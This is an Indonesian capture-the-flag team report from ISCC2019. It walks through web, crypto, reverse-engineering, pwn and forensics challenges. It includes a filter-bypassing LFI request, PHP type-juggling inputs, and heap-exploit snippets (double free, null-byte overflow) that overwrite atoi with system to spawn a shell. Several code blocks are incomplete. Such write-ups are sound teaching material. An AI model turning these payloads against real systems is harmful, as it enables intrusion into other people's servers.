(SOAL 1) : Nama Tim
(SOAL 1) : Nama Tim
(SOAL 1) : Nama Tim
1][Numeric]
NAMA TIM : [Rev.ID_CTF]*Rubah sesuai dengan nama tim anda
Minggu 07 Juli 2019
Ketua Tim
i. Muh. Fani Akbar
Anggota
i. Bayu Fedra Abdullah
Table of Contents
Capture The Flag Report
1. Executive Summary
Web - Numeric
2. Technical Report
Terdapat source code di file api.php.bak
<?php
include 'my_cbc_flag.php';
#ISCC2019{PLEASE_DONT_SUBMIT_IT_ITS_TROLL_IF_YOU_STILL_SUBMIT_ILL_DELETE_YOUR_ACCOUNT};
if(isset($_POST['tebakan'])){
$tebak = $_POST['tebakan'];
$server = random_int($tebak, ($tebak*2));
Harus melewati bbrp komparasi agar bisa mendapatkan flag. nilai2 dari variable bisa dioverwrite karena terdapat penggunaan extract()
tebakan=102e1
tebek=1e200
a1=18446744073709551616
a2=18446744073709551616
joke=0e0
server=N
3. Conclusion
Flag : ISCC2019{Anyway_Beware_OF_==_in_PHP_They_are_Like_KpopWomen_Cute_But_Tricky}
Table of Contents
Capture The Flag Report
1. Executive Summary
Web - Easy isn’t?
2. Technical Report
Diberikan soal web http://203.201.167.78:1123/
<?php
require_once('flag.php');
class Meliodas{
highlight_file(__FILE__);
(new Meliodas())->setlang();
Celah nya adalah LFI, dimana bbrp string seperti filter akan direplace dengan empty string. tapi ini bisa diakalin dengan menyisipkan string diantara string, misal
pphphp, akan menghasilkan php
GET / HTTP/1.1
Host: 203.201.167.78:1123
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: pphphp::////ffilterilter/convert.bbasease6644-eencodencode/rresourceesource=flaflagg.pphphp
Cookie: PHPSESSID=hafnru3efgvgjl8i5msffhe402
Connection: close
3. Conclusion
Flag : ISCC2019{Nanatsu_No_Taizai_Scream_it_Fullllll_Counter!}
Table of Contents
Capture The Flag Report
1. Executive Summary
Crypto - Ransomware syalalal
2. Technical Report
Diberikan source ransomware
import os
import sys
import time
import random
import string
if len(sys.argv) < 2:
print("usage: %s <file to encrypt>" %(os.path.basename(__file__)))
sys.exit()
rr = 10#random.randint(0,255)
st = "".join(random.choice(string.ascii_uppercase)for _ in range(4))
print(st)
ec = "|syalala|\n"
for c in open(sys.argv[1]).read():
ec += chr(ord(c)^rr)
print(len(ec))
ww = open(sys.argv[1]+".enc","w+")
ww.write(ec)
ww.close()
import os
import subprocess
p = open("word","r").read().split("\n")
for w in p:
print("Password : ", w)
out = subprocess.Popen('openssl aes-256-cbc -salt -a -d -pass pass:'+w+' -in flag.txt.syalala',stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)
tmp = out.stdout.read()
if "|syalala" in tmp:
print("Found Password : ", w)
for i in range(0xff):
tmp = "".join([chr(i ^ ord(c)) for c in tmp])
if "IS" in tmp:
print tmp
exit(0)
3. Conclusion
Flag : ISCC2019{cause_baby_its_you_syalalalalalala}
[SOAL 4][Crack ME!]
Table of Contents
Capture The Flag Report
1. Executive Summary
Reverse - Crack Me !
2. Technical Report
Untuk mendapatkan serial yang benar kami menggunakan z3
from z3 import *
for i in range(len(key)):
s.add(key[i] >= 0)
s.add(key[i] < 10)
s.add(key[7] != 0)
s.add(key[0] + key[2] == 6)
s.add(key[1] * key[3] == 72)
s.add(key[4] * key[5] / 2 == 8)
s.add(key[6] / key[7] + 3 == 6)
s.add(key[8] + key[11] == 7)
s.add(key[9] * 2 / 4 == 2)
s.add(key[10] / 4 == 2)
s.add(key[12] + key[13] == 6)
s.add(key[14] * 4 / 2 == 8)
s.add(key[15] - 2 == key[0])
s.add(key[0] < 2)
s.add(key[1] % 2 ==1)
s.add(key[1] + key[2] == 14)
s.add(key[5] == key[7])
s.add(key[6] % 2 == 0)
s.add(key[8] == key[9])
s.add(key[10] / key[11] == 3)
s.add(key[12] == key[13])
print s.check()
if s.check() == sat:
m = s.model()
hasil = [str(m[i].as_long()) for i in key]
print "".join(hasil)
# 1958-8262-4493-3343
3. Conclusion
Flag : ISCC2019{%00g00dLuckRdjAdaBiaViv%00}
Table of Contents
Capture The Flag Report
1. Executive Summary
PWN - ISCC Note
2. Technical Report
Diberikan file ELF dan sebuah file libc yang kita cek memiliki versi 2.23. Di program tersebut kita dapat membuat struktur note yg berisi title dan content
masing2 bertipe char*. struktur note akan dialokasikan di heap, dan string title dan contentnya pun akan dialokasikan diheap.
Bugnya terdapat pada saat menghapus note (double free), fitur tersebut tidak memeriksa apakah notenya telah dihapus atau tidak. Karena ini menggunakan
libc 2.23 kita dapat menggunakan teknik fastbin dup agar double free tidak terjadi crash.
Setelah itu kita dapat mengoverwrite struktur note, mengubah member title atau content ke alamat atoi.got, meleak alamat libc, dan mengganti atoi dengan
system dan mengirim string /bin/sh untuk mendapatkan shell.
Dibawah ini merupakan exploit yg kami gunakan.
def print_note(i):
p.sendlineafter("> ", '3')
p.sendlineafter(": ", str(i))
p.recvuntil(":")
t = p.recvuntil("Content : ", drop=True).strip()
c = p.recvuntil("[1]", drop=True).strip()
return (t, c)
def delete_note(i):
p.sendlineafter("> ", '4')
p.sendlineafter(": ", str(i))
for i in range(5):
create_note("x"*0x50, "x"*10) # Create dummy chunk
delete_note(3)
delete_note(1)
delete_note(3)
create_note("x"*0x8, "x"*0x8)
create_note("x"*0x8, p64(0x602010) + p64(8) + atoi + p64(8))
atoi = u64(print_note(5)[0].ljust(8, "\x00"))
base = atoi - libc.symbols['atoi']
libc.address = base
system = p64(libc.symbols['system'])
edit_note(5, system, "x/bin/sh")
p.interactive()
3. Conclusion
Flag: ISCC2019{welcome_to_ISCC2019}
[SOAL 6][Perpustakaan]
Table of Contents
Capture The Flag Report
1. Executive Summary
PWN - Perpustakaan
2. Technical Report
Diberikan file ELF bernama hard dan file libc.so. Ketika dijalankan binary tersebut memiliki fitur2 add book, delete book, edit book, dan show all books, fitur2
tersebut akan dijalankan sesuai menu yang kita pilih.
====== MENU ======
[1] Add book
[2] Delete book
[3] Edit book
[4] Show all books
[5] Exit
Your choice: 1
Enter book name: asfsad
Enter length of book description: 20
Enter book description: bbbb
Enter book total pages: 100
Setelah melakukan analisa dan reverse engineering, program menyimpan data2 yg diinputkan dalam sebuah struktur yg kira2 elemennya seperti ini.
struct book {
char nama_buku[64];
char* deskripsi;
int panjang_desc;
int page;
}
struktur book yg dibuat melalui fitur Add book akan dialokasikan di heap, member deskripsi dialokasikan di heap juga sesuai ukuran yg kita inputkan. alamat
struktur book yg dibuat akan disimpan di variable array global di bss.
void add_book(void)
{
void *__buf;
ssize_t sVar1;
ulong uVar2;
void *pvVar3;
int local_24;
void **local_18;
__buf = malloc(0x50);
local_18 = (void **)0x0;
local_24 = 0;
do {
if (0x13 < local_24) {
LAB_00100b19:
if (local_18 == (void **)0x0) {
puts("Add book error");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Enter book name: ");
sVar1 = read(0,__buf,0x40);
if ((int)sVar1 < 0) {
puts("Read error");
/* WARNING: Subroutine does not return */
exit(1);
}
*(undefined *)((long)__buf + (long)(int)sVar1) = 0;
printf("Enter length of book description: ");
uVar2 = readint();
if (0x400 < (uint)uVar2) {
puts("Add book error");
/* WARNING: Subroutine does not return */
exit(1);
}
*(uint *)((long)__buf + 0x48) = (uint)uVar2;
printf("Enter book description: ");
pvVar3 = malloc(uVar2 & 0xffffffff);
*(void **)((long)__buf + 0x40) = pvVar3;
if (*(long *)((long)__buf + 0x40) == 0) {
puts("Add book error");
/* WARNING: Subroutine does not return */
exit(1);
}
readline(*(void **)((long)__buf + 0x40),*(int *)((long)__buf + 0x48));
printf("Enter book total pages: ");
uVar2 = readint();
*(undefined4 *)((long)__buf + 0x4c) = (int)uVar2;
*local_18 = __buf;
return;
}
if (*(long *)(books + (long)local_24 * 8) == 0) {
local_18 = (void **)(books + (long)local_24 * 8);
goto LAB_00100b19;
}
local_24 = local_24 + 1;
} while( true );
}
Setelah dianalisa, bug kami temukan pada fitur edit book yakni bug single null byte overflow. bug tersebut akan 1 byte mengoverwrite pada lokasi memory
setelah nama_buku yakni deskripsi.
Kita dapat mengoverwrite byte pertama pada deskripsi menjadi null dan akan kita atur agar dia menunjuk ke alamat dekat sebelum struktur book dibuat, dan
setelah itu ketika proses edit, kita dapat mengontrol struktur book.
Untuk mendapatkan libc leak, kita dapat memenuhkan tcache bin terlebih dahulu sehingga pada free selanjutnya chunk berisi alamat libc. Kita dapat mengganti
alamat deskripsi ke lokasi tersebut. Untuk mengetahui lokasinya kita terlebih dahulu melakukan heap leak. Kami meleak alamat heap dengan cara melakukan
partial overwrite pada member deskripsi dan mengarahkannya ke lokasi yg memiliki alamat heap.
Di bawah ini merupakan exploit yang kami gunakan.
def go(i):
med.recvuntil("Your choice:")
med.sendline(str(i))
def delt(i):
go(2)
med.recvuntil(":")
med.sendline(str(i))
3. Conclusion
Flag : ISCC2019{you_are_so_FANCY}
Table of Contents
Capture The Flag Report
1. Executive Summary
Reverse - PHP In ASM
2. Technical Report
Diberkan file bytecode, dan sebuah string. Sesuai deskripsi kami diharuskan mendekrip string tersebut untuk mendapatkan flagnya.
Stringnya berupa base64 yakni : UNbS0o4OTkzcmlpaTAwbWlrPjo8OD08Mz1pb2k4bj9qP2g/Oz5oPWltd
Isi dari file bytecode seperti ini.
Kode2 diatas merupakan instruksi2 dari php bytecode yang telah dicompile. Kami melakukan analisa dan decompile secara manual menjadi kode yg lebih
mudah dibaca, hasilnya seperti ini.
!0 = flag
!2 = 0
do {
if(!2 % 2 != 0 {
$10 = !0[!2]
$11 = ord($10)
$13 = chr($11 ^ 10)
!0[!2] = $13
$15 = !0[!2]
$16 = ord($15)
$18 = chr($16 ^ 2)
!0[!2] = $18
} else {
$20 = !0[!2]
$21 = ord($20)
$23 = chr($21 ^ 11)
!0[!2] = $23
$25 = !0[!2]
$26 = ord($25)
$28 = chr($26 ^ 3)
!0[!2] = $28
}
$30 = !0[!2]
$31 = ord($30)
$34 = chr(($31 << 22) % 255)
!0[!2] = $34
!2++
} while (!2 < strlen(!0))
echo(base64encode(!0))
Kode diatas digunakan untuk mengenkripsi flagnya. Dibawah ini merupakan script solver untuk mendekripsi flagnya sesuai algoritma enkripsi pada kode diatas.
3. Conclusion
Flag: ISCC2019{baa98daa72604587aec1d6c6c437b4ae}
Table of Contents
Capture The Flag Report
1. Executive Summary
Web - Tap Tap Tap
2. Technical Report
Diberikan url http://203.201.167.78:10001/ yang hanya terdapat submit button, cek response headers terdapat Get-flag: T3c0elBrNmZTdTFtN0UwUA==
yang isinya merupakan enkripsi base64 dan jika di decode hasilnya Ow4zPk6fSu1m7E0P dan random setiap di refresh
Kami berasumsi jika harus mendecrypt isi Get-flag lalu mensubmit nya secara cepat, lalu kami buat auto nya menggunakan Python :
import requests
s = requests.session()
req = s.get("http://203.201.167.78:10001/")
dec = req.headers['Get-flag'].decode("base64")
print s.post("http://203.201.167.78:10001/", data={'IndoSecurity' : dec}).text
3. Conclusion
Flag : ISCC2019{d55198561eac5c7a8c5bf202a8ebe29f}
[SOAL 9][Browsing-Browsing]
Table of Contents
Capture The Flag Report
1. Executive Summary
Web - Browsing-Browsing
2. Technical Report
Diberikan url http://203.201.167.78:9999/ yang isinya “You must [Use-INDOSECURITY2019-For-U]” yang berarti kita di haruskan menggunakan User-Agent
Use-INDOSECURITY2019-For-U
Requests menggunakan cURL :
mendapatkan response “only for local client” , yang artinya hanya local source yang boleh mengakses, dan bisa di akali menggunakan X-Forwarded-For ,
coba requests lagi :
mendapatkan response “Only port 6666” yang berarti local port kita yang di gunakan untuk connect ke server harus port 6666, requests dengan :
curl -A Use-INDOSECURITY2019-For-U -H "X-Forwarded-For: 127.0.0.1" --local-port 6666 http://203.201.167.78:9999/
3. Conclusion
Flag: ISCC2019{Saya-Pastikan-Pasti!!!}
Table of Contents
Capture The Flag Report
1. Executive Summary
Forensic - Recovery Me
2. Technical Report
Diberikan file recovery.7z, extract file akan terdapat recovery.001, extract lagi akan mendapatkan file flag.apk
extract file.apk menggunakan unzip / apk extractor lain akan terdapat beberapa file dan folder, flag bisa di dapatkan dengan menjalankan command di dalam
folder hasil extract flag.apk :
3. Conclusion
Flag : ISCC2019{aplikasi_pertama_saya}
Table of Contents
Capture The Flag Report
1. Executive Summary
Forensic - file signature
2. Technical Report
Di berikan file “file-signature.7z”, extract kemudian akan mendapatkan “file signature.7z” yang rusak, perbaiki dengan mengubah signature file nya
menggunakan hexeditor menjadi 37 7A BC AF 27 1C
Extract lagi kemudian akan mendapat “file signature.zip” yang rusak, perbaiki dengan mengubah signature file nya menggunakan hexeditor menjadi 50 4B
03 04
Extract lagi kemudian akan mendapat “file signature.rar” yang rusak, perbaiki dengan mengubah signature file nya menggunakan hexeditor menjadi 52 61
72 21 1A 07 00
Extract lagi maka akan mendapatkan folder yang berisi banyak File yang masing-masing file menyimpang potongan flag
File ubah 2 byte awal header signature file bmp.bmp, akan mendapatkan potongan flag : flag8{c3m3n}
Ubah byte ke 2 pada header signature flag.docx dari 31 menjadi 34 dan ubah formatnya menjadi .pbm lalu buka menggunakan Photoshop akan mendapatkan
potongan flag : flag10{g00d}
Ubah format file flag.exe menjadi flag.pbm lalu buka, akan mendapatkan potongan flag : flag2{c3nt3r}
Ubah format file Flag.jpg menjadi flag.pdf lalu buka, akan mendapatkan potongan flag : Flag5={k0m1k}
Ubah format file flag.mp4 menjadi flag.png lalu buka, akan mendapatkan potongan flag : flag3{br0ws3}
Ubah format flag.pdf menjadi flag.jpg lalu buka, akan mendapatkan potongan flag : flag1{log2222}
Perbaiki header signature file flag.png menjadi 89504E470D0A1A0A lalu buka, maka akan mendapatkan potongan flag flag6{h4t1}
Perbaiki header signature file jpg.jpg menjadi FFD8FFE000104A4649460001 lalu buka, maka akan mendapatkan potongan flag flag7{34sy}
jalankan command strings jpgg.jpg | grep flag maka akan mendapatkan potongan flag : flag9={78}
Untuk potongan flag terakhir kami kesusahan dan lama mencarinya, karena file terakhir yang tersisa adalah flag.html yang sebenarnya adalah video mp4 file,
yang jika di tonton berisi video girlband k-pop koreyah yang kalau tidak salah namanya blackpink, karena tidak suka k-pop kami pun malas untuk
menontonnya dan kami skip melihat video nya dan fokus ke metadata untuk mencari flag, setelah lebih dari sejam mencari kami pun menyerah dan
berinisiatif melihat videonya walaupun terpaksa karena kami nggak suka blackpink, betapa kagetnya kami di tengah-tengah video bukan karena celana
girlband nya yang melorot tapi karena apa yang kami cari selama sejam ternyata di munculkan di tengah-tengah video, terdapat potongan flag:
flag4{k3m4ng} di tengah video, doktrin dan pemaksaan macam apa ini >:(
akhirnya semua Dragonball pun terkumpul dan tinggal di satukan
flag = sorted("""flag8{c3m3n}
flag10{g00d}
flag2{c3nt3r}
flag5{k0m1k}
flag3{br0ws3}
flag1{log2222}
flag6{h4t1}
flag7{34sy}
flag9{78}
flag4{k3m4ng}""".split("\n"))
3. Conclusion
Flag : ISCC2019{log2222_c3nt3r_br0ws3_k3m4ng_k0m1k_h4t1_34sy_c3m3n_78_g00d}